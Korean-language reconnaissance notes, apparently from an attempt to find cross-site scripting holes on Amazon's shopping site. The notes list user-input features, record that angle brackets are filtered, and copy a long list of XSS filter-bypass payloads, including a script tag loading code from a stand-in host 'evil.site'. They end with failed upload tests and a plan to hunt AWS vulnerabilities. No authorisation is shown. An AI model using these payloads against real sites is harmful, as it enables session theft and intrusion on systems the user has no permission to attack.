1. 기능 조사
로그인
회원가입
내 주문 검색
amazon drive
기본검색
제품 - 잘못된 제품 정보 신고
제품 - 고객 질문
애완동물 추가
쇼핑목록 아이디어 추가
쇼핑 목록 아이디어 댓글
차량 추가
차량 이미지 업로드
프로필 사진 업로드
애완견 사진 업로드
프로필 개인 정보 업로드
주소
이름
이메일
제품 - 리뷰
제품판매 등록
기프트 카트 금액 입력
도움말 항목 검색
카드 등록
프로필 배송지 추가
웨딩 레지스트리 찾기
베이비 레지스트리 찾기
차량 부품 검색
비디오 업로드
2. 접근 방법
1.
xss 가능 타겟 찾기
위에서 찾은 기능들은 사용자가 입력할수 있는 공간이 존재하는 기능임. 저기를 타겟으로 xss를 시도했을시에 어떠한 동작이 되는지 우선 파악함
일반 검색창에 " ;--;//# <#img> " 요렇게 입력했을 경우 <이거랑 > 이게 치환됨
모든 검색 기능 공간에서 다 동일하게 치환됨.
그럼 어떠한 패턴을 가지고 필터링을 처리하는지에 대한 방법을 생각?
→ 꺽쇠가 치환되기 때문에 이걸 우회할수 있는 방법 시도
→ 브라우저 단에서 1차로 보안 적 기능을 제공한다고 했음 IE, safari, chrome에서 시도
→ 동일함
2.
xss bypass study
a.
black list bypass
<script x>
<script x>alert('XSS')<script y>
eval('ale'+'rt(0)');
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
JavaScript
복사
b.
bypass quotes in script tag
http://localhost/bla.php?test=</script><script>alert(1)</script>
<html>
<script>
<?php echo 'foo="text '.$_GET['test'].'";';`?>
</script>
</html>
JavaScript
복사
c.
Bypass single quotes in mousedown event
<a href="" onmousedown="var name = '';alert(1)//'; alert('smthg')">Link</a>
JavaScript
복사
d.
Bypass dot filter
<script>window['alert'](document['domain'])</script>
JavaScript
복사
e.
Bypass 괄호, 세미콜론
<script>onerror=alert;throw 1337</script>
<script>{onerror=alert}throw 1337</script>
<script>throw onerror=alert,'some string',123,'haha'</script>
<script>throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]</script>
<script>TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']</script>
JavaScript
복사
f.
Bypass space
// Bypass space filter with "/"
<img/src='1'/onerror=alert(0)>
// Bypass space filter with 0x0c/^L
<svgonload=alert(1)>
JavaScript
복사
g.
Bypass document blacklist
<div id = "x"></div><script>alert(x.parentNode.parentNode.parentNode.location)</script>
JavaScript
복사
h.
Bypass ">"
<svg onload=alert(1)//
JavaScript
복사
svg 태그를 사용하면, >를 사용하지 않아도됨
i.
Bypass "<"
[̕h+͓.<script/src=//evil.site/poc.js>.͓̮̮ͅ=sW&͉̹̻͙̫̦̮̲͏̼̝̫́̕
JavaScript
복사
j.
Bypass using HTML encoding
%26%2397;lert(1)
alert
></script><svg onload=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B(document.domain)>
JavaScript
복사
k.
HTML Event Handler
만약 <, > 요거는 필터링이 적용되어 있지만, ", ' 요 쿼터들에 대한 필터링이 없다면, 이벤트 헨들러 적용가능
" onload=aert(45)
FSCommand()
onAbort()
JavaScript
복사
3.
파일 업로드
a.
확장자 체크
b.
매직값 체크
→ 둘다 실패
4.
5.
archive.org에서 예전 사이트 링크 조사
6.
<> 치환 말고 서버에러 뜸
다른 서버로직인듯
7.
xss scanner 사용
8.
아이디어
a.
아마존 쇼핑 사이트 기술 스택 조사
b.
aws 서버 사용
c.
aws 의 취약점 찾음
d.
?